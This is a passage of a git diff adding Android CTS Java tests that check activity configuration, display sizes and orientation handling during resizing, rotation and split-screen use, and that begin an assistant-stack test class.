+ private static final String NIGHT_MODE_ACTIVITY = "NightModeActivity";
+ private static final String DIALOG_WHEN_LARGE_ACTIVITY = "DialogWhenLargeActivity";
+
+ private static final String TRANSLUCENT_ACTIVITY =
+ "android.server.translucentapp.TranslucentLandscapeActivity";
+ private static final String TRANSLUCENT_SDK_26_PACKAGE = "android.server.translucentapp26";
+
+ private static final String TRANSLUCENT_CURRENT_PACKAGE = "android.server.translucentapp";
+
+ private static final String EXTRA_LAUNCH_NEW_TASK = "launch_new_task";
+
+ private static final int SMALL_WIDTH_DP = 426;
+ private static final int SMALL_HEIGHT_DP = 320;
+
+ /**
+ * Tests that the WindowManager#getDefaultDisplay() and the Configuration of the Activity
+ * has an updated size when the Activity is resized from fullscreen to docked state.
+ *
+ * The Activity handles configuration changes, so it will not be restarted between resizes.
+ * On Configuration changes, the Activity logs the Display size and Configuration width
+ * and heights. The values reported in fullscreen should be larger than those reported in
+ * docked state.
+ */
+ @Test
+ public void testConfigurationUpdatesWhenResizedFromFullscreen() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no multi-window support");
+ return;
+ }
+
+ String logSeparator = clearLogcat();
+ launchActivity(RESIZEABLE_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+ final ReportedSizes fullscreenSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
+ logSeparator);
+
+ logSeparator = clearLogcat();
+ setActivityTaskWindowingMode(RESIZEABLE_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ final ReportedSizes dockedSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
+ logSeparator);
+
+ assertSizesAreSane(fullscreenSizes, dockedSizes);
+ }
+
+ /**
+ * Same as {@link #testConfigurationUpdatesWhenResizedFromFullscreen()} but resizing
+ * from docked state to fullscreen (reverse).
+ */
+ // TODO: Flaky, add to presubmit when b/63404575 is fixed.
+ @Test
+ public void testConfigurationUpdatesWhenResizedFromDockedStack() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no multi-window support");
+ return;
+ }
+
+ String logSeparator = clearLogcat();
+ launchActivity(RESIZEABLE_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ final ReportedSizes dockedSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
+ logSeparator);
+
+ logSeparator = clearLogcat();
+ setActivityTaskWindowingMode(RESIZEABLE_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN);
+ final ReportedSizes fullscreenSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
+ logSeparator);
+
+ assertSizesAreSane(fullscreenSizes, dockedSizes);
+ }
+
+ /**
+ * Tests whether the Display sizes change when rotating the device.
+ */
+ @Test
+ public void testConfigurationUpdatesWhenRotatingWhileFullscreen() throws Exception {
+ if (!supportsRotation()) {
+ log("Skipping test: no rotation support");
+ return;
+ }
+ setDeviceRotation(0);
+ final String logSeparator = clearLogcat();
+ launchActivity(RESIZEABLE_ACTIVITY_NAME,
+ WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+ final ReportedSizes initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
+ logSeparator);
+
+ rotateAndCheckSizes(initialSizes);
+ }
+
+ /**
+ * Same as {@link #testConfigurationUpdatesWhenRotatingWhileFullscreen()} but when the Activity
+ * is in the docked stack.
+ */
+ // TODO: Flaky, add to presubmit when b/63404575 is fixed.
+ @Test
+ public void testConfigurationUpdatesWhenRotatingWhileDocked() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no multi-window support");
+ return;
+ }
+
+ setDeviceRotation(0);
+ final String logSeparator = clearLogcat();
+ launchActivityInDockStack(LAUNCHING_ACTIVITY);
+ // Launch our own activity to side in case Recents (or other activity to side) doesn't
+ // support rotation.
+ getLaunchActivityBuilder().setToSide(true).setTargetActivityName(TEST_ACTIVITY_NAME)
+ .execute();
+ // Launch target activity in docked stack.
+ getLaunchActivityBuilder().setTargetActivityName(RESIZEABLE_ACTIVITY_NAME).execute();
+ final ReportedSizes initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
+ logSeparator);
+
+ rotateAndCheckSizes(initialSizes);
+ }
+
+ /**
+ * Same as {@link #testConfigurationUpdatesWhenRotatingWhileDocked()} but when the Activity
+ * is launched to side from docked stack.
+ */
+ @Test
+ public void testConfigurationUpdatesWhenRotatingToSideFromDocked() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no multi-window support");
+ return;
+ }
+
+ setDeviceRotation(0);
+
+ final String logSeparator = clearLogcat();
+ launchActivityInDockStack(LAUNCHING_ACTIVITY);
+
+ getLaunchActivityBuilder().setToSide(true).setTargetActivityName(RESIZEABLE_ACTIVITY_NAME)
+ .execute();
+ final ReportedSizes initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
+ logSeparator);
+
+ rotateAndCheckSizes(initialSizes);
+ }
+
+ private void rotateAndCheckSizes(ReportedSizes prevSizes) throws Exception {
+ for (int rotation = 3; rotation >= 0; --rotation) {
+ final String logSeparator = clearLogcat();
+ final int actualStackId = mAmWmState.getAmState().getTaskByActivityName(
+ RESIZEABLE_ACTIVITY_NAME).mStackId;
+ final int displayId = mAmWmState.getAmState().getStackById(actualStackId).mDisplayId;
+ setDeviceRotation(rotation);
+ final int newDeviceRotation = getDeviceRotation(displayId);
+ if (newDeviceRotation == INVALID_DEVICE_ROTATION) {
+ logE("Got an invalid device rotation value. "
+ + "Continuing the test despite of that, but it is likely to fail.");
+ } else if (rotation != newDeviceRotation) {
+ log("This device doesn't support locked user "
+ + "rotation mode. Not continuing the rotation checks.");
+ return;
+ }
+
+ final ReportedSizes rotatedSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
+ logSeparator);
+ assertSizesRotate(prevSizes, rotatedSizes);
+ prevSizes = rotatedSizes;
+ }
+ }
+
+ /**
+ * Tests when activity moved from fullscreen stack to docked and back. Activity will be
+ * relaunched twice and it should have same config as initial one.
+ */
+ @Test
+ public void testSameConfigurationFullSplitFullRelaunch() throws Exception {
+ moveActivityFullSplitFull(TEST_ACTIVITY_NAME);
+ }
+
+ /**
+ * Same as {@link #testSameConfigurationFullSplitFullRelaunch} but without relaunch.
+ */
+ @Presubmit
+ @Test
+ public void testSameConfigurationFullSplitFullNoRelaunch() throws Exception {
+ moveActivityFullSplitFull(RESIZEABLE_ACTIVITY_NAME);
+ }
+
+ /**
+ * Launches activity in fullscreen stack, moves to docked stack and back to fullscreen stack.
+ * Last operation is done in a way which simulates split-screen divider movement maximizing
+ * docked stack size and then moving task to fullscreen stack - the same way it is done when
+ * user long-presses overview/recents button to exit split-screen.
+ * Asserts that initial and final reported sizes in fullscreen stack are the same.
+ */
+ private void moveActivityFullSplitFull(String activityName) throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no multi-window support");
+ return;
+ }
+
+ // Launch to fullscreen stack and record size.
+ String logSeparator = clearLogcat();
+ launchActivity(activityName, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+ final ReportedSizes initialFullscreenSizes = getActivityDisplaySize(activityName,
+ logSeparator);
+ final Rect displayRect = getDisplayRect(activityName);
+
+ // Move to docked stack.
+ logSeparator = clearLogcat();
+ setActivityTaskWindowingMode(activityName, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ final ReportedSizes dockedSizes = getActivityDisplaySize(activityName, logSeparator);
+ assertSizesAreSane(initialFullscreenSizes, dockedSizes);
+ // Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
+ // will come up.
+ launchActivity(activityName, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder(activityName).build());
+ final ActivityManagerState.ActivityStack stack = mAmWmState.getAmState()
+ .getStandardStackByWindowingMode(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+
+ // Resize docked stack to fullscreen size. This will trigger activity relaunch with
+ // non-empty override configuration corresponding to fullscreen size.
+ logSeparator = clearLogcat();
+ mAm.resizeStack(stack.mStackId, displayRect);
+
+ // Move activity back to fullscreen stack.
+ setActivityTaskWindowingMode(activityName,
+ WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+ final ReportedSizes finalFullscreenSizes = getActivityDisplaySize(activityName,
+ logSeparator);
+
+ // After activity configuration was changed twice it must report same size as original one.
+ assertSizesAreSame(initialFullscreenSizes, finalFullscreenSizes);
+ }
+
+ /**
+ * Tests when activity moved from docked stack to fullscreen and back. Activity will be
+ * relaunched twice and it should have same config as initial one.
+ */
+ @Test
+ public void testSameConfigurationSplitFullSplitRelaunch() throws Exception {
+ moveActivitySplitFullSplit(TEST_ACTIVITY_NAME);
+ }
+
+ /**
+ * Same as {@link #testSameConfigurationSplitFullSplitRelaunch} but without relaunch.
+ */
+ @Test
+ public void testSameConfigurationSplitFullSplitNoRelaunch() throws Exception {
+ moveActivitySplitFullSplit(RESIZEABLE_ACTIVITY_NAME);
+ }
+
+ /**
+ * Tests that an activity with the DialogWhenLarge theme can transform properly when in split
+ * screen.
+ */
+ @Presubmit
+ @Test
+ public void testDialogWhenLargeSplitSmall() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no multi-window support");
+ return;
+ }
+
+ launchActivity(DIALOG_WHEN_LARGE_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ final ActivityManagerState.ActivityStack stack = mAmWmState.getAmState()
+ .getStandardStackByWindowingMode(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ final WindowManagerState.Display display =
+ mAmWmState.getWmState().getDisplay(stack.mDisplayId);
+ final int density = display.getDpi();
+ final int smallWidthPx = dpToPx(SMALL_WIDTH_DP, density);
+ final int smallHeightPx = dpToPx(SMALL_HEIGHT_DP, density);
+
+ mAm.resizeStack(stack.mStackId, new Rect(0, 0, smallWidthPx, smallHeightPx));
+ mAmWmState.waitForValidState(DIALOG_WHEN_LARGE_ACTIVITY,
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+ }
+
+ /**
+ * Test that device handles consequent requested orientations and displays the activities.
+ */
+ @Presubmit
+ @Test
+ public void testFullscreenAppOrientationRequests() throws Exception {
+ launchActivity(PORTRAIT_ACTIVITY_NAME);
+ mAmWmState.assertVisibility(PORTRAIT_ACTIVITY_NAME, true /* visible */);
+ assertEquals("Fullscreen app requested portrait orientation",
+ 1 /* portrait */, mAmWmState.getWmState().getLastOrientation());
+
+ launchActivity(LANDSCAPE_ACTIVITY_NAME);
+ mAmWmState.assertVisibility(LANDSCAPE_ACTIVITY_NAME, true /* visible */);
+ assertEquals("Fullscreen app requested landscape orientation",
+ 0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
+
+ launchActivity(PORTRAIT_ACTIVITY_NAME);
+ mAmWmState.assertVisibility(PORTRAIT_ACTIVITY_NAME, true /* visible */);
+ assertEquals("Fullscreen app requested portrait orientation",
+ 1 /* portrait */, mAmWmState.getWmState().getLastOrientation());
+ }
+
+ public void testNonfullscreenAppOrientationRequests() throws Exception {
+ String logSeparator = clearLogcat();
+ launchActivity(PORTRAIT_ACTIVITY_NAME);
+ final ReportedSizes initialReportedSizes =
+ getLastReportedSizesForActivity(PORTRAIT_ACTIVITY_NAME, logSeparator);
+ assertEquals("portrait activity should be in portrait",
+ 1 /* portrait */, initialReportedSizes.orientation);
+ logSeparator = clearLogcat();
+
+ launchActivityInComponent(TRANSLUCENT_SDK_26_PACKAGE, TRANSLUCENT_ACTIVITY);
+ assertEquals("Legacy non-fullscreen activity requested landscape orientation",
+ 0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
+
+ // TODO(b/36897968): uncomment once we can suppress unsupported configurations
+ // final ReportedSizes updatedReportedSizes =
+ // getLastReportedSizesForActivity(PORTRAIT_ACTIVITY_NAME, logSeparator);
+ // assertEquals("portrait activity should not have moved from portrait",
+ // 1 /* portrait */, updatedReportedSizes.orientation);
+ }
+
+ public void testNonFullscreenActivityProhibited() throws Exception {
+ setComponentName(TRANSLUCENT_CURRENT_PACKAGE);
+
+ // We do not wait for the activity as it should not launch based on the restrictions around
+ // specifying orientation. We instead start an activity known to launch immediately after
+ // so that we can ensure processing the first activity occurred.
+ launchActivityNoWait(TRANSLUCENT_ACTIVITY);
+ setDefaultComponentName();
+ launchActivity(PORTRAIT_ACTIVITY_NAME);
+
+ assertFalse("target SDK > 26 non-fullscreen activity should not reach onResume",
+ mAmWmState.getAmState().containsActivity(
+ ActivityManagerTestBase.getActivityComponentName(
+ TRANSLUCENT_ACTIVITY, TRANSLUCENT_ACTIVITY)));
+ }
+ public void testNonFullscreenActivityPermitted() throws Exception {
+ setComponentName(TRANSLUCENT_SDK_26_PACKAGE);
+ setDeviceRotation(0);
+
+ launchActivity(TRANSLUCENT_ACTIVITY);
+ mAmWmState.assertResumedActivity(
+ "target SDK <= 26 non-fullscreen activity should be allowed to launch",
+ TRANSLUCENT_ACTIVITY);
+ assertEquals("non-fullscreen activity requested landscape orientation",
+ 0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
+ }
+
+ /**
+ * Test that device handles moving between two tasks with different orientations.
+ */
+ @Test
+ public void testTaskCloseRestoreOrientation() throws Exception {
+ // Start landscape activity.
+ launchActivity(LANDSCAPE_ACTIVITY_NAME);
+ mAmWmState.assertVisibility(LANDSCAPE_ACTIVITY_NAME, true /* visible */);
+ assertEquals("Fullscreen app requested landscape orientation",
+ 0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
+
+ // Start another activity in a different task.
+ launchActivityInNewTask(BROADCAST_RECEIVER_ACTIVITY);
+
+ // Request portrait
+ executeShellCommand(getOrientationBroadcast(1 /*portrait*/));
+ mAmWmState.waitForRotation(1);
+
+ // Finish activity
+ executeShellCommand(FINISH_ACTIVITY_BROADCAST);
+
+ // Verify that activity brought to front is in originally requested orientation.
+ mAmWmState.computeState(
+ new WaitForValidActivityState.Builder(LANDSCAPE_ACTIVITY_NAME).build());
+ assertEquals("Should return to app in landscape orientation",
+ 0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
+ }
+
+ /**
+ * Test that device handles moving between two tasks with different orientations.
+ */
+ @Presubmit
+ @Test
+ public void testTaskMoveToBackOrientation() throws Exception {
+ // Start landscape activity.
+ launchActivity(LANDSCAPE_ACTIVITY_NAME);
+ mAmWmState.assertVisibility(LANDSCAPE_ACTIVITY_NAME, true /* visible */);
+ assertEquals("Fullscreen app requested landscape orientation",
+ 0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
+
+ // Start another activity in a different task.
+ launchActivityInNewTask(BROADCAST_RECEIVER_ACTIVITY);
+
+ // Request portrait
+ executeShellCommand(getOrientationBroadcast(1 /*portrait*/));
+ mAmWmState.waitForRotation(1);
+
+ // Finish activity
+ executeShellCommand(MOVE_TASK_TO_BACK_BROADCAST);
+
+ // Verify that activity brought to front is in originally requested orientation.
+ mAmWmState.waitForValidState(LANDSCAPE_ACTIVITY_NAME);
+ assertEquals("Should return to app in landscape orientation",
+ 0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
+ }
+
+ /**
+ * Test that device doesn't change device orientation by app request while in multi-window.
+ */
+ @Test
+ public void testSplitscreenPortraitAppOrientationRequests() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no multi-window support");
+ return;
+ }
+ requestOrientationInSplitScreen(1 /* portrait */, LANDSCAPE_ACTIVITY_NAME);
+ }
+
+ /**
+ * Test that device doesn't change device orientation by app request while in multi-window.
+ */
+ @Test
+ public void testSplitscreenLandscapeAppOrientationRequests() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no multi-window support");
+ return;
+ }
+ requestOrientationInSplitScreen(0 /* landscape */, PORTRAIT_ACTIVITY_NAME);
+ }
+
+ /**
+ * Rotate the device and launch specified activity in split-screen, checking if orientation
+ * didn't change.
+ */
+ private void requestOrientationInSplitScreen(int orientation, String activity)
+ throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no multi-window support");
+ return;
+ }
+
+ // Set initial orientation.
+ setDeviceRotation(orientation);
+
+ // Launch activities that request orientations and check that device doesn't rotate.
+ launchActivityInDockStack(LAUNCHING_ACTIVITY);
+
+ getLaunchActivityBuilder().setToSide(true).setMultipleTask(true)
+ .setTargetActivityName(activity).execute();
+ mAmWmState.computeState(new String[] {activity});
+ mAmWmState.assertVisibility(activity, true /* visible */);
+ assertEquals("Split-screen apps shouldn't influence device orientation",
+ orientation, mAmWmState.getWmState().getRotation());
+
+ getLaunchActivityBuilder().setMultipleTask(true).setTargetActivityName(activity).execute();
+ mAmWmState.computeState(new String[] {activity});
+ mAmWmState.assertVisibility(activity, true /* visible */);
+ assertEquals("Split-screen apps shouldn't influence device orientation",
+ orientation, mAmWmState.getWmState().getRotation());
+ }
+
+ /**
+ * Launches activity in docked stack, moves to fullscreen stack and back to docked stack.
+ * Asserts that initial and final reported sizes in docked stack are the same.
+ */
+ private void moveActivitySplitFullSplit(String activityName) throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no multi-window support");
+ return;
+ }
+
+ // Launch to docked stack and record size.
+ String logSeparator = clearLogcat();
+ launchActivity(activityName, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ final ReportedSizes initialDockedSizes = getActivityDisplaySize(activityName, logSeparator);
+ // Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
+ // will come up.
+ launchActivity(activityName, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder(activityName).build());
+
+ // Move to fullscreen stack.
+ logSeparator = clearLogcat();
+ setActivityTaskWindowingMode(
+ activityName, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+ final ReportedSizes fullscreenSizes = getActivityDisplaySize(activityName, logSeparator);
+ assertSizesAreSane(fullscreenSizes, initialDockedSizes);
+
+ // Move activity back to docked stack.
+ logSeparator = clearLogcat();
+ setActivityTaskWindowingMode(activityName, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ final ReportedSizes finalDockedSizes = getActivityDisplaySize(activityName, logSeparator);
+
+ // After activity configuration was changed twice it must report same size as original one.
+ assertSizesAreSame(initialDockedSizes, finalDockedSizes);
+ }
+
+ /**
+ * Asserts that after rotation, the aspect ratios of display size, metrics, and configuration
+ * have flipped.
+ */
+ private static void assertSizesRotate(ReportedSizes rotationA, ReportedSizes rotationB)
+ throws Exception {
+ assertEquals(rotationA.displayWidth, rotationA.metricsWidth);
+ assertEquals(rotationA.displayHeight, rotationA.metricsHeight);
+ assertEquals(rotationB.displayWidth, rotationB.metricsWidth);
+ assertEquals(rotationB.displayHeight, rotationB.metricsHeight);
+
+ final boolean beforePortrait = rotationA.displayWidth < rotationA.displayHeight;
+ final boolean afterPortrait = rotationB.displayWidth < rotationB.displayHeight;
+ assertFalse(beforePortrait == afterPortrait);
+
+ final boolean beforeConfigPortrait = rotationA.widthDp < rotationA.heightDp;
+ final boolean afterConfigPortrait = rotationB.widthDp < rotationB.heightDp;
+ assertEquals(beforePortrait, beforeConfigPortrait);
+ assertEquals(afterPortrait, afterConfigPortrait);
+
+ assertEquals(rotationA.smallestWidthDp, rotationB.smallestWidthDp);
+ }
+
+ /**
+ * Throws an AssertionError if fullscreenSizes has widths/heights (depending on aspect ratio)
+ * that are smaller than the dockedSizes.
+ */
+ private static void assertSizesAreSane(ReportedSizes fullscreenSizes, ReportedSizes dockedSizes)
+ throws Exception {
+ final boolean portrait = fullscreenSizes.displayWidth < fullscreenSizes.displayHeight;
+ if (portrait) {
+ assertTrue(dockedSizes.displayHeight < fullscreenSizes.displayHeight);
+ assertTrue(dockedSizes.heightDp < fullscreenSizes.heightDp);
+ assertTrue(dockedSizes.metricsHeight < fullscreenSizes.metricsHeight);
+ } else {
+ assertTrue(dockedSizes.displayWidth < fullscreenSizes.displayWidth);
+ assertTrue(dockedSizes.widthDp < fullscreenSizes.widthDp);
+ assertTrue(dockedSizes.metricsWidth < fullscreenSizes.metricsWidth);
+ }
+ }
+
+ /**
+ * Throws an AssertionError if sizes are different.
+ */
+ private static void assertSizesAreSame(ReportedSizes firstSize, ReportedSizes secondSize)
+ throws Exception {
+ assertEquals(firstSize.widthDp, secondSize.widthDp);
+ assertEquals(firstSize.heightDp, secondSize.heightDp);
+ assertEquals(firstSize.displayWidth, secondSize.displayWidth);
+ assertEquals(firstSize.displayHeight, secondSize.displayHeight);
+ assertEquals(firstSize.metricsWidth, secondSize.metricsWidth);
+ assertEquals(firstSize.metricsHeight, secondSize.metricsHeight);
+ assertEquals(firstSize.smallestWidthDp, secondSize.smallestWidthDp);
+ }
+
+ private ReportedSizes getActivityDisplaySize(String activityName, String logSeparator)
+ throws Exception {
+ mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder(activityName).build());
+ final ReportedSizes details = getLastReportedSizesForActivity(activityName, logSeparator);
+ assertNotNull(details);
+ return details;
+ }
+
+ private Rect getDisplayRect(String activityName)
+ throws Exception {
+ final String windowName = getWindowName(activityName);
+
+ mAmWmState.computeState(new String[] {activityName});
+ mAmWmState.assertFocusedWindow("Test window must be the front window.", windowName);
+
+ final List<WindowManagerState.WindowState> tempWindowList = new ArrayList<>();
+ mAmWmState.getWmState().getMatchingVisibleWindowState(windowName, tempWindowList);
+
+ assertEquals("Should have exactly one window state for the activity.", 1,
+ tempWindowList.size());
+
+ WindowManagerState.WindowState windowState = tempWindowList.get(0);
+ assertNotNull("Should have a valid window", windowState);
+
+ WindowManagerState.Display display = mAmWmState.getWmState()
+ .getDisplay(windowState.getDisplayId());
+ assertNotNull("Should be on a display", display);
+
+ return display.getDisplayRect();
+ }
+
+ /**
+ * Test launching an activity which requests specific UI mode during creation.
+ */
+ @Test
+ public void testLaunchWithUiModeChange() throws Exception {
+ // Launch activity that changes UI mode and handles this configuration change.
+ launchActivity(NIGHT_MODE_ACTIVITY);
+ mAmWmState.waitForActivityState(NIGHT_MODE_ACTIVITY, STATE_RESUMED);
+
+ // Check if activity is launched successfully.
+ mAmWmState.assertVisibility(NIGHT_MODE_ACTIVITY, true /* visible */);
+ mAmWmState.assertFocusedActivity("Launched activity should be focused",
+ NIGHT_MODE_ACTIVITY);
+ mAmWmState.assertResumedActivity("Launched activity must be resumed", NIGHT_MODE_ACTIVITY);
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java
new file mode 100644
index 0000000..4e77ed9
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java
@@ -0,0 +1,345 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_ASSISTANT;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+import static android.server.am.ActivityManagerState.STATE_RESUMED;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.Presubmit;
+
+import org.junit.Test;
+
+/**
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerAssistantStackTests
+ */
+//@Presubmit b/67706642
+public class ActivityManagerAssistantStackTests extends ActivityManagerTestBase {
+
+ private static final String VOICE_INTERACTION_SERVICE = "AssistantVoiceInteractionService";
+
+ private static final String TEST_ACTIVITY = "TestActivity";
+ private static final String ANIMATION_TEST_ACTIVITY = "AnimationTestActivity";
+ private static final String DOCKED_ACTIVITY = "DockedActivity";
+ private static final String ASSISTANT_ACTIVITY = "AssistantActivity";
+ private static final String TRANSLUCENT_ASSISTANT_ACTIVITY = "TranslucentAssistantActivity";
+ private static final String LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION =
+ "LaunchAssistantActivityFromSession";
+ private static final String LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK =
+ "LaunchAssistantActivityIntoAssistantStack";
+ private static final String PIP_ACTIVITY = "PipActivity";
+
+ private static final String EXTRA_ENTER_PIP = "enter_pip";
+ private static final String EXTRA_LAUNCH_NEW_TASK = "launch_new_task";
+ private static final String EXTRA_FINISH_SELF = "finish_self";
+ private static final String EXTRA_IS_TRANSLUCENT = "is_translucent";
+
+ private static final String TEST_ACTIVITY_ACTION_FINISH_SELF =
+ "android.server.am.TestActivity.finish_self";
+
+ @Test
+ @Presubmit
+ public void testLaunchingAssistantActivityIntoAssistantStack() throws Exception {
+ // Enable the assistant and launch an assistant activity
+ enableAssistant();
+ launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
+ mAmWmState.waitForValidStateWithActivityType(ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
+
+ // Ensure that the activity launched in the fullscreen assistant stack
+ assertAssistantStackExists();
+ assertTrue("Expected assistant stack to be fullscreen",
+ mAmWmState.getAmState().getStackByActivityType(
+ ACTIVITY_TYPE_ASSISTANT).isFullscreen());
+
+ disableAssistant();
+ }
+
+ // TODO(b/69573940): Add back to presubmit
+ @Test
+ public void testAssistantStackZOrder() throws Exception {
+ if (!supportsPip() || !supportsSplitScreenMultiWindow()) return;
+ // Launch a pinned stack task
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertContainsStack("Must contain pinned stack.",
+ WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+
+ // Dock a task
+ launchActivity(TEST_ACTIVITY);
+ launchActivityInDockStack(DOCKED_ACTIVITY);
+ mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertContainsStack("Must contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+
+ // Enable the assistant and launch an assistant activity, ensure it is on top
+ enableAssistant();
+ launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
+ mAmWmState.waitForValidStateWithActivityType(ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
+ assertAssistantStackExists();
+
+ mAmWmState.assertFrontStack("Pinned stack should be on top.",
+ WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertFocusedStack("Assistant stack should be focused.",
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
+
+ disableAssistant();
+ }
+
+ @Test
+ @Presubmit
+ public void testAssistantStackLaunchNewTask() throws Exception {
+ enableAssistant();
+ assertAssistantStackCanLaunchAndReturnFromNewTask();
+ disableAssistant();
+ }
+
+ @Test
+ @Presubmit
+ public void testAssistantStackLaunchNewTaskWithDockedStack() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) return;
+ // Dock a task
+ launchActivity(TEST_ACTIVITY);
+ launchActivityInDockStack(DOCKED_ACTIVITY);
+ mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertContainsStack("Must contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+
+ enableAssistant();
+ assertAssistantStackCanLaunchAndReturnFromNewTask();
+ disableAssistant();
+ }
+
+ private void assertAssistantStackCanLaunchAndReturnFromNewTask() throws Exception {
+ final boolean inSplitScreenMode = mAmWmState.getAmState().containsStack(
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+
+ // Enable the assistant and launch an assistant activity which will launch a new task
+ enableAssistant();
+ launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+ EXTRA_LAUNCH_NEW_TASK, TEST_ACTIVITY);
+ disableAssistant();
+
+ final int expectedWindowingMode = inSplitScreenMode
+ ? WINDOWING_MODE_SPLIT_SCREEN_SECONDARY
+ : WINDOWING_MODE_FULLSCREEN;
